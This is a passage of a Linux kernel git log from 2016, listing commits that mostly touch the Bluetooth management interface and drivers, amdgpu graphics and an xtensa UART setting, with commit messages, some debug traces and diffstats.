++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit bebbc4bcf36f015a5a051cc8817b11de209fbe8b Author: Scott Telford Date: Thu Sep 15 16:26:45 2016 +0100 xtensa: Tweak xuartps UART driver Rx watermark for Cadence CSP config. Add module parameter xilinx_uartps.rx_trigger_level=32 to command line options for CSP to set Rx watermark for xuartps driver lower than the default value, to avoid UART overruns at 115200 bps. Signed-off-by: Scott Telford Signed-off-by: Max Filippov arch/xtensa/boot/dts/csp.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit af4168c5a925dc3b11b0246c2b91124327919f47 Author: Michał Narajowski Date: Mon Sep 19 14:33:33 2016 +0200 Bluetooth: Set appearance only for LE capable controllers Setting appearance on controllers without LE support will result in No Supported error. Signed-off-by: Michał Narajowski Signed-off-by: Johan Hedberg net/bluetooth/mgmt.c | 4 ++++ 1 file changed, 4 insertions(+) commit 4e99a44e37bfed8c4f25c94687e8e4ac4ae65086 Author: Monk Liu Date: Thu Mar 31 13:26:59 2016 +0800 drm/amdgpu:changes of virtualization cases probe (v3) 1,Changes on virtualization detections 2,Don't load smu & mc firmware if using sr-iov bios 3,skip vPost for sriov & force vPost if dev pass-through v2: agd: squash in Rays's fix for the missed SI case v3: agd: squash in additional fixes for CIK, SI, cleanup Signed-off-by: Monk Liu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 36 +++++++++++++++++++++++------- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 33 +++++++++++++-------------- drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 2 +- drivers/gpu/drm/amd/amdgpu/cik.c | 14 ++++++------ drivers/gpu/drm/amd/amdgpu/fiji_smc.c | 2 +- drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 4 +++- drivers/gpu/drm/amd/amdgpu/iceland_smc.c | 2 +- drivers/gpu/drm/amd/amdgpu/si.c | 14 ++++++------ drivers/gpu/drm/amd/amdgpu/tonga_smc.c | 2 +- drivers/gpu/drm/amd/amdgpu/vi.c | 27 +++++++++++++--------- 10 files changed, 81 insertions(+), 55 deletions(-) commit ecab76688a0785fbcddcd1ff638a3fc76db073aa Author: Markus Elfring Date: Sun Sep 18 17:00:52 2016 +0200 drm/amdgpu: Use kmalloc_array() in amdgpu_debugfs_gca_config_read() A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f2cdaf20664525227f721ac3a4c72ee8ef4b37b8 Author: Tom St Denis Date: Thu Sep 15 10:08:44 2016 -0400 drm/amd/amdgpu: Hook up read_sensor() to debugfs (v2) (v2) Tidy'ed up read function. Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 31 ++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit a6e3695221446cf825d12db9c6ad3502c45fb9de Author: Tom St Denis Date: Thu Sep 15 10:07:34 2016 -0400 drm/amd/powerplay: Add read_sensor() callback to hwmgr (v3) Provides standardized interface to read various sensors. The API is extensible (by adding to the end of the amd_pp_sensors enumeration list. Support has been added to Carrizo/smu7 (v2) Squashed the two sensor patches into one. (v3) Updated to apply to smu7_hwmgr instead Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 20 +++++ drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 96 +++++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 36 +++++++++ drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 12 +++ drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 1 + 5 files changed, 165 insertions(+) commit 167ac5733c70683c4886a8b3ef347cc6c93a76a6 Author: Huang Rui Date: Wed Sep 14 17:14:16 2016 +0800 drm/amdgpu: implement raster configuration for gfx v8 This patch is to implement the raster configuration and harvested configuration of gfx v8. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Acked-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 168 +++++++++++++++++++++++++++++++++- drivers/gpu/drm/amd/amdgpu/vid.h | 37 ++++++++ 2 files changed, 204 insertions(+), 1 deletion(-) commit 0b2138a45516ba83445a3c9a8aa38a1fb42c71bc Author: Huang Rui Date: Wed Sep 14 15:55:48 2016 +0800 drm/amdgpu: implement raster configuration for gfx v7 This patch is to implement the raster configuration and harvested configuration of gfx v7. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Acked-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cikd.h | 36 ++++++++ drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 160 +++++++++++++++++++++++++++++++++- 2 files changed, 195 insertions(+), 1 deletion(-) commit 865ab832ba78a1baf03fed90dccf5088e63a3aa3 Author: Huang Rui Date: Fri Sep 9 16:37:08 2016 +0800 drm/amdgpu: implement raster configuration for gfx v6 This patch is to implement the raster configuration and harvested configuration of gfx v6. Signed-off-by: Huang Rui Reviewed-by: Alex Deucher Acked-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 131 +++++++++++++++++++++++++- drivers/gpu/drm/amd/include/asic_reg/si/sid.h | 35 +++++++ 2 files changed, 165 insertions(+), 1 deletion(-) commit e74317f43f5ce2d13cddaab867c59d42934d9585 Author: Michał Narajowski Date: Mon Sep 19 20:25:56 2016 +0200 Bluetooth: Fix missing ext info event when setting appearance This patch adds missing event when setting appearance, just like in the set local name command. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 2 ++ 1 file changed, 2 insertions(+) commit 5e9fae48f800b973e45887ce0b8d717d54c0bb11 Author: Michał Narajowski Date: Mon Sep 19 20:25:55 2016 +0200 Bluetooth: Add supported data types to ext info changed event This patch adds EIR data to extended info changed event. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 6a9e90bff9cfb33d5939c29e5bf2674c9176365d Author: Szymon Janc Date: Mon Sep 19 20:25:54 2016 +0200 Bluetooth: Add appearance to Read Ext Controller Info command If LE is enabled appearance is added to EIR data. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit cde7a863d36a4a629c111f37edc2297d6b822a82 Author: Michał Narajowski Date: Mon Sep 19 20:25:53 2016 +0200 Bluetooth: Factor appending EIR to separate helper This will also be used for Extended Information Event handling. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 35 ++++++++++++++++++++++------------- 1 file changed, 22 insertions(+), 13 deletions(-) commit 7d5c11da1ff6389511c42448f59456373edfc103 Author: Szymon Janc Date: Mon Sep 19 20:25:52 2016 +0200 Bluetooth: Refactor read_ext_controller_info handler There is no need to allocate heap for reply only to copy stack data to it. This also fix rp memory leak and missing hdev unlock if kmalloc failed. Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) commit 162f812f23bab583f5d514ca0e4df67797ac9cdf Author: Loic Poulain Date: Mon Sep 19 16:29:27 2016 +0200 Bluetooth: hci_uart: Add Marvell support This patch introduces support for Marvell Bluetooth controller over UART (8897 for now). In order to send the final firmware at full speed, a helper firmware is firstly sent. Firmware download is driven by the controller which sends request firmware packets (including expected size). This driver is a global rework of the one proposed by Amitkumar Karwar . Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann drivers/bluetooth/Kconfig | 11 ++ drivers/bluetooth/Makefile | 1 + drivers/bluetooth/hci_ldisc.c | 6 + drivers/bluetooth/hci_mrvl.c | 387 ++++++++++++++++++++++++++++++++++++++++++ drivers/bluetooth/hci_uart.h | 8 +- 5 files changed, 412 insertions(+), 1 deletion(-) commit 9e69130c4efc61ce0a8fb3b9eea0188f8d41f779 Author: Loic Poulain Date: Mon Sep 19 11:32:35 2016 +0200 Bluetooth: hci_uart: Add Nokia Protocol identifier Will be used by hci_nokia extra protocol. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_uart.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 143f0a28ff7ebcc74144ed29bc66da6fbcce0dc7 Author: Loic Poulain Date: Mon Sep 19 12:05:12 2016 +0200 Bluetooth: hci_bcm: Change protocol name Use full name instead of abbreviation. Signed-off-by: Loic Poulain Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_bcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3310230c5dddfafe3d1ef87f1257812011681aca Author: Szymon Janc Date: Sun Sep 18 12:50:07 2016 +0200 Bluetooth: Increment management interface revision Increment the mgmt revision due to the recently added Read Extended Controller Information and Set Appearance commands. Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c9db78dc0fbbd95177fefdad008e46ffaa777f2 Author: Szymon Janc Date: Sun Sep 18 12:50:06 2016 +0200 Bluetooth: Fix advertising instance validity check for flags Flags are not allowed in Scan Response. Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2bb36870e8cb29949ef9acec37129cd8e70f1857 Author: Szymon Janc Date: Sun Sep 18 12:50:05 2016 +0200 Bluetooth: Unify advertising instance flags check This unifies max length and TLV validity checks. Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 85 +++++++++++++++++++++++++++++----------------------- 1 file changed, 48 insertions(+), 37 deletions(-) commit 5e2c59e84b633e4f7719fdc6a2930f2a311da83a Author: Szymon Janc Date: Sun Sep 18 12:50:04 2016 +0200 Bluetooth: Remove unused parameter from tlv_data_is_valid function hdev parameter is not used in function. Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit c4960ecf2b09210930964ef2c05ce2590802ccf4 Author: Michał Narajowski Date: Sun Sep 18 12:50:03 2016 +0200 Bluetooth: Add support for appearance in scan rsp This patch enables prepending appearance value to scan response data. It also adds support for setting appearance value through mgmt command. If currently advertised instance has apperance flag set it is expired immediately. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann include/net/bluetooth/hci_core.h | 1 + include/net/bluetooth/mgmt.h | 6 ++++++ net/bluetooth/hci_request.c | 8 ++++++++ net/bluetooth/mgmt.c | 37 +++++++++++++++++++++++++++++++++++++ 4 files changed, 52 insertions(+) commit 7c295c4801b2de24fc25687eb0cb73cf0c99d114 Author: Michał Narajowski Date: Sun Sep 18 12:50:02 2016 +0200 Bluetooth: Add support for local name in scan rsp This patch enables appending local name to scan response data. If currently advertised instance has name flag set it is expired immediately. Signed-off-by: Michał Narajowski Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 28 +++++++++++++++++++-------- net/bluetooth/mgmt.c | 46 +++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 64 insertions(+), 10 deletions(-) commit 1110a2dbe69831abdcf119c3a9a4c4ef2d0905f8 Author: Larry Finger Date: Fri Sep 9 10:02:05 2016 -0500 Bluetooth: btrtl: Add RTL8822BE Bluetooth device The RTL8822BE is a new Realtek wifi and BT device. Support for the BT part is hereby added. As this device is similar to most of the other Realtek BT devices, the changes are minimal. The main difference is that the 8822BE needs a configuration file for enabling and disabling features. Thus code is added to select and load this configuration file. Although not needed at the moment, hooks are added for the other devices that might need such configuration files. One additional change is to the routine that tests that the project ID contained in the firmware matches the hardware. As the project IDs are not sequential, continuing to use the position in the array as the expected value of the ID would require adding extra unused entries in the table, and any subsequant rearrangment of the array would break the code. To fix these problems, the array elements now contain both the hardware ID and the expected value for the project ID. Signed-off-by: 陆朱伟 Signed-off-by: Larry Finger Signed-off-by: Marcel Holtmann drivers/bluetooth/btrtl.c | 107 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 95 insertions(+), 12 deletions(-) commit 83ebb9ec734e9e768a9fae469e4a7ed1762ef43a Author: Szymon Janc Date: Fri Sep 9 20:24:40 2016 +0200 Bluetooth: Fix not registering BR/EDR SMP channel with force_bredr flag If force_bredr is set SMP BR/EDR channel should also be for non-SC capable controllers. Since hcidev flag is persistent wrt power toggle it can be already set when calling smp_register(). This resulted in SMP BR/EDR channel not being registered even if HCI_FORCE_BREDR_SMP flag was set. This also fix NULL pointer dereference when trying to disable force_bredr after power cycle. BUG: unable to handle kernel NULL pointer dereference at 0000000000000388 IP: [] smp_del_chan+0x18/0x80 [bluetooth] Call Trace: [] force_bredr_smp_write+0xba/0x100 [bluetooth] [] full_proxy_write+0x54/0x90 [] __vfs_write+0x37/0x160 [] ? selinux_file_permission+0xd7/0x110 [] ? security_file_permission+0x3d/0xc0 [] ? percpu_down_read+0x12/0x50 [] vfs_write+0xb5/0x1a0 [] SyS_write+0x55/0xc0 [] entry_SYSCALL_64_fastpath+0x1a/0xa4 Code: 48 8b 45 f0 eb c1 0f 1f 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 f6 05 c6 3b 02 00 04 55 48 89 e5 41 54 53 49 89 fc 75 4b <49> 8b 9c 24 88 03 00 00 48 85 db 74 31 49 c7 84 24 88 03 00 00 RIP [] smp_del_chan+0x18/0x80 [bluetooth] RSP CR2: 0000000000000388 Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann net/bluetooth/smp.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 3e36ca483a642f441b8e29b4e98091f2c62bfb38 Author: Wei Yongjun Date: Sat Sep 10 12:21:22 2016 +0000 Bluetooth: Use kzalloc instead of kmalloc/memset Use kzalloc rather than kmalloc followed by memset with 0. Generated by: scripts/coccinelle/api/alloc/kzalloc-simple.cocci Signed-off-by: Wei Yongjun Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4037a7747d7b5a3e5bb4d10fb9ea6e2fd8a23c3b Author: Marcel Holtmann Date: Thu Sep 8 18:07:07 2016 +0200 Bluetooth: Increase the subsystem minor version number While the subsystem version information are purely informational, increase the minor number due to the addition of user channel and management control monitoring suppport. It is helpful for debugging purposes to see the version numbers change. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/bluetooth.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3c0975a7a1087add3bf873601f0270aa695d7616 Author: Frédéric Dalleau Date: Thu Sep 8 12:00:11 2016 +0200 Bluetooth: Fix reason code used for rejecting SCO connections A comment in the code states that SCO connection should be rejected with the proper error value between 0xd-0xf. The code uses HCI_ERROR_REMOTE_LOW_RESOURCES which is 0x14. This led to following error: < HCI Command: Reject Synchronous Co.. (0x01|0x002a) plen 7 Address: 34:51:C9:EF:02:CA (Apple, Inc.) Reason: Remote Device Terminated due to Low Resources (0x14) > HCI Event: Command Status (0x0f) plen 4 Reject Synchronous Connection Request (0x01|0x002a) ncmd 1 Status: Invalid HCI Command Parameters (0x12) Instead make use of HCI_ERROR_REJ_LIMITED_RESOURCES which is 0xd. Signed-off-by: Frédéric Dalleau Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0676cab47ed18c9cfa884f055a3ba0f9e6fb8e96 Author: Colin Ian King Date: Tue Sep 6 13:15:49 2016 +0100 Bluetooth: btqca: remove null checks on edl->data as it is an array edl->data is an array of __u8 so the null check is unneccessary, so remove it. Signed-off-by: Colin Ian King Signed-off-by: Marcel Holtmann drivers/bluetooth/btqca.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit baab793225c9badf46309f56982eb1012dbaac80 Author: Marcel Holtmann Date: Sun Sep 4 05:13:46 2016 +0200 Bluetooth: Fix wrong New Settings event when closing HCI User Channel When closing HCI User Channel, the New Settings event was send out to inform about changed settings. However such event is wrong since the exclusive HCI User Channel access is active until the Index Added event has been sent. @ USER Close: test @ MGMT Event: New Settings (0x0006) plen 4 Current settings: 0x00000ad0 Bondable Secure Simple Pairing BR/EDR Low Energy Secure Connections = Close Index: 00:14:EF:22:04:12 @ MGMT Event: Index Added (0x0004) plen 0 Calling __mgmt_power_off from hci_dev_do_close requires an extra check for an active HCI User Channel. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_core.c | 1 + 1 file changed, 1 insertion(+) commit aa1638dde75d00e4f549902017d0df48b77e86ff Author: Marcel Holtmann Date: Thu Sep 1 19:48:28 2016 +0200 Bluetooth: Send control open and close messages for HCI user channels When opening and closing HCI user channel, send monitoring messages to be able to trace its behavior. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit bdca1fd9a6df745857e23c6056494b7fe062b4e6 Author: Alexander Aring Date: Thu Sep 1 11:24:57 2016 +0200 fakelb: fix schedule while atomic This patch changes the spinlock to mutex for the available fakelb phy list. When holding the spinlock the ieee802154_unregister_hw is called which holding the rtnl_mutex, in that case we get a "BUG: sleeping function called from invalid context" error. We simple change the spinlock to mutex which allows to hold the rtnl lock there. Signed-off-by: Alexander Aring Signed-off-by: Marcel Holtmann drivers/net/ieee802154/fakelb.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 8a0c9f49090fe8ae122fd1bbf7260c8492289386 Author: Michał Narajowski Date: Thu Sep 1 16:46:24 2016 +0200 Bluetooth: Append local name and CoD to Extended Controller Info This adds device class, complete local name and short local name to EIR data in Extended Controller Info as specified in docs. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/mgmt.c | 63 ++++++++++++++++++++++++++++++++++------------------ 1 file changed, 42 insertions(+), 21 deletions(-) commit 321c6feed2519a2691f65e41c4d62332d6ee3d52 Author: Marcel Holtmann Date: Thu Sep 1 16:46:23 2016 +0200 Bluetooth: Add framework for Extended Controller Information This command is used to retrieve the current state and basic information of a controller. It is typically used right after getting the response to the Read Controller Index List command or an Index Added event (or its extended counterparts). When any of the values in the EIR_Data field changes, the event Extended Controller Information Changed will be used to inform clients about the updated information. Signed-off-by: Marcel Holtmann Signed-off-by: Michał Narajowski include/net/bluetooth/hci.h | 1 + include/net/bluetooth/mgmt.h | 18 +++++++++++++ net/bluetooth/mgmt.c | 62 ++++++++++++++++++++++++++++++++++++++++++-- 3 files changed, 79 insertions(+), 2 deletions(-) commit 418678b01aca849b4f86224e609610ce87a9bdc4 Author: Szymon Janc Date: Thu Sep 1 17:22:37 2016 +0200 Bluetooth: btusb: Mark CW6622 devices to have broken link key commands Conwise CW6622 seems to have a problem with the stored link key commands so just mark it as broken. < HCI Command: Read Local Supported Features (0x04|0x0003) plen 0 > HCI Event: Command Complete (0x0e) plen 12 Read Local Supported Features (0x04|0x0003) ncmd 1 status 0x00 Features: 0xff 0x3e 0x85 0x38 0x18 0x18 0x00 0x00 < HCI Command: Read Local Version Information (0x04|0x0001) plen 0 > HCI Event: Command Complete (0x0e) plen 12 Read Local Version Information (0x04|0x0001) ncmd 1 status 0x00 HCI Version: 2.0 (0x3) HCI Revision: 0x1f4 LMP Version: 2.0 (0x3) LMP Subversion: 0x1f4 Manufacturer: CONWISE Technology Corporation Ltd (66) ... < HCI Command: Read Local Supported Commands (0x04|0x0002) plen 0 > HCI Event: Command Complete (0x0e) plen 68 Read Local Supported Commands (0x04|0x0002) ncmd 1 status 0x00 Commands: 7fffef03cedfffffffffff1ff20ff8ff3f ... < HCI Command: Read Stored Link Key (0x03|0x000d) plen 7 bdaddr 00:00:00:00:00:00 all 1 > HCI Event: Command Complete (0x0e) plen 8 Read Stored Link Key (0x03|0x000d) ncmd 1 status 0x11 max 0 num 0 Error: Unsupported Feature or Parameter Value Signed-off-by: Szymon Janc Signed-off-by: Marcel Holtmann drivers/bluetooth/btusb.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit fac9a6021b4e8dc8b2112a8e133936c0daf7ff94 Author: Bhaktipriya Shridhar Date: Tue Aug 30 22:42:53 2016 +0530 Bluetooth: Remove deprecated create_singlethread_workqueue The workqueue "workqueue" queues multiple work items viz &qca->ws_awake_rx &qca->ws_rx_vote_off, &qca->ws_awake_device, &qca->ws_tx_vote_off which require strict execution ordering. Hence, an ordered dedicated workqueue has been used to replace the deprecated create_singlethread_workqueue instance. WQ_MEM_RECLAIM has not been set since the driver is not being used on a memory reclaim path. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_qca.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f4cdbb3f25c15c17a952deae1f2e0db6df8f1948 Author: Marcel Holtmann Date: Tue Aug 30 05:00:40 2016 +0200 Bluetooth: Handle HCI raw socket transition from unbound to bound In case an unbound HCI raw socket is later on bound, ensure that the monitor notification messages indicate a close and re-open. None of the userspace tools use the socket this, but it is actually possible to use an ioctl on an unbound socket and then later bind it. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 53 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 36 insertions(+), 17 deletions(-) commit f81f5b2db8692ff1d2d5f4db1fde58e67aa976a3 Author: Marcel Holtmann Date: Tue Aug 30 05:00:39 2016 +0200 Bluetooth: Send control open and close messages for HCI raw sockets When opening and closing HCI raw sockets their main usage is for legacy userspace. To track interaction with the modern mgmt interface, send open and close monitoring messages for these action. The HCI raw sockets is special since it supports unbound ioctl operation and for that special case delay the notification message until at least one ioctl has been executed. The difference between a bound and unbound socket will be detailed by the fact the HCI index is present or not. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) commit d0bef1d26fb6fdad818f3d15a178d51e2a8478ae Author: Marcel Holtmann Date: Tue Aug 30 05:00:38 2016 +0200 Bluetooth: Add extra channel checks for control open/close messages The control open and close monitoring events require special channel checks to ensure messages are only send when the right events happen. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) commit 5a6d2cf5f18b5afbae0b1b450070bbba50f1e3e0 Author: Marcel Holtmann Date: Tue Aug 30 05:00:37 2016 +0200 Bluetooth: Assign the channel early when binding HCI sockets Assignment of the hci_pi(sk)->channel should be done early when binding the HCI socket. This avoids confusion with the RAW channel that is used for legacy access. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 0ef2c42f8c4e372bad16f67dc0f4b15b9be910f6 Author: Marcel Holtmann Date: Tue Aug 30 05:00:36 2016 +0200 Bluetooth: Send control open and close only when cookie is present Only when the cookie has been assigned, then send the open and close monitor messages. Also if the socket is bound to a device, then include the index into the message. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit 9e8305b39bfa23a83b932007654097f4676c2ba2 Author: Marcel Holtmann Date: Tue Aug 30 05:00:35 2016 +0200 Bluetooth: Use numbers for subsystem version string Instead of keeping a version string around, use version and revision numbers and then stringify them for use as module parameter. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/bluetooth.h | 3 ++- net/bluetooth/af_bluetooth.c | 10 +++++++--- net/bluetooth/hci_sock.c | 4 ++-- 3 files changed, 11 insertions(+), 6 deletions(-) commit df1cb87af9f24527a8932e4d195d49ffab1168d2 Author: Marcel Holtmann Date: Tue Aug 30 05:00:34 2016 +0200 Bluetooth: Introduce helper functions for socket cookie handling Instead of manually allocating cookie information each time, use helper functions for generating and releasing cookies. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 41 +++++++++++++++++++++++++++++------------ 1 file changed, 29 insertions(+), 12 deletions(-) commit 3d4e2fb64111ffb5dc737daf25f5434bf39bee5f Author: Arnd Bergmann Date: Mon Aug 29 14:36:18 2016 +0200 Bluetooth: add WCNSS dependency for HCI driver The newly added bluetooth driver is based on the soc-specific support, but lacks the obvious compile-time dependency on that: drivers/bluetooth/btqcomsmd.o: In function `btqcomsmd_probe': btqcomsmd.c:(.text.btqcomsmd_probe+0x40): undefined reference to `qcom_wcnss_open_channel' btqcomsmd.c:(.text.btqcomsmd_probe+0x5c): undefined reference to `qcom_wcnss_open_channel' Makefile:969: recipe for target 'vmlinux' failed Fixes: 90c107dc8b2c ("Bluetooth: Introduce Qualcomm WCNSS SMD based HCI driver") Signed-off-by: Arnd Bergmann Signed-off-by: Marcel Holtmann drivers/bluetooth/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9db5c62951871c33e4443fe433e234419cf574d2 Author: Marcel Holtmann Date: Mon Aug 29 06:31:57 2016 +0200 Bluetooth: Use command status event for Set IO Capability errors In case of failure, the Set IO Capability command is suppose to return command status and not command complete. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/mgmt.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 56f787c5024de7829f8cccce7569feb520829baf Author: Marcel Holtmann Date: Mon Aug 29 06:19:47 2016 +0200 Bluetooth: Fix wrong Get Clock Information return parameters The address information of the Get Clock Information return parameters is copying from a different memory location. It uses &cmd->param while it actually needs to be cmd->param. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/mgmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5504c3a31061704512707bb23bd7835e8a5281e4 Author: Marcel Holtmann Date: Mon Aug 29 06:19:46 2016 +0200 Bluetooth: Use individual flags for certain management events Instead of hiding everything behind a general managment events flag, introduce indivdual flags that allow fine control over which events are send to a given management channel. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/hci.h | 5 ++++- net/bluetooth/hci_sock.c | 5 ++++- net/bluetooth/mgmt.c | 32 +++++++++++++------------------- 3 files changed, 21 insertions(+), 21 deletions(-) commit 37d3a1fab50fa07ac706787646e61c60e7c520e0 Author: Johan Hedberg Date: Sun Aug 28 20:53:34 2016 +0300 Bluetooth: mgmt: Fix sending redundant event for Advertising Instance When an Advertising Instance is removed, the Advertising Removed event shouldn't be sent to the same socket that issued the Remove Advertising command (it gets a command complete event instead). The mgmt_advertising_removed() function already has a parameter for skipping a specific socket, but there was no code to propagate the right value to this parameter. This patch fixes the issue by making sure the intermediate hci_req_clear_adv_instance() function gets the socket pointer. Signed-off-by: Johan Hedberg Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 11 ++++++----- net/bluetooth/hci_request.h | 5 +++-- net/bluetooth/mgmt.c | 6 +++--- 3 files changed, 12 insertions(+), 10 deletions(-) commit 38ceaa00d02dceb22c6bdd5268f5a44d5c00e123 Author: Marcel Holtmann Date: Sat Aug 27 20:23:41 2016 +0200 Bluetooth: Add support for sending MGMT commands and events to monitor This adds support for tracing all management commands and events via the monitor interface. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/hci_core.h | 3 ++ include/net/bluetooth/hci_mon.h | 2 + net/bluetooth/hci_sock.c | 94 ++++++++++++++++++++++++++++++++++++++++ net/bluetooth/mgmt_util.c | 66 ++++++++++++++++++++++++++-- 4 files changed, 162 insertions(+), 3 deletions(-) commit 249fa1699f8642c73eb43e61b321969f0549ab2c Author: Marcel Holtmann Date: Sat Aug 27 20:23:40 2016 +0200 Bluetooth: Add support for sending MGMT open and close to monitor This sends new notifications to the monitor support whenever a management channel has been opened or closed. This allows tracing of control channels really easily. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/hci_mon.h | 2 + net/bluetooth/hci_sock.c | 95 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+) commit 03c979c4717c7fa0c058fafe76ac4d6acdd1fb0d Author: Marcel Holtmann Date: Sat Aug 27 20:23:39 2016 +0200 Bluetooth: Introduce helper to pack mgmt version information The mgmt version information will be also needed for the control changell tracing feature. This provides a helper to pack them. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/hci_core.h | 1 + net/bluetooth/mgmt.c | 11 +++++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) commit 70ecce91e3a2d7e332fe56fd065c67d404b8fccf Author: Marcel Holtmann Date: Sat Aug 27 20:23:38 2016 +0200 Bluetooth: Store control socket cookie and comm information To further allow unique identification and tracking of control socket, store cookie and comm information when binding the socket. 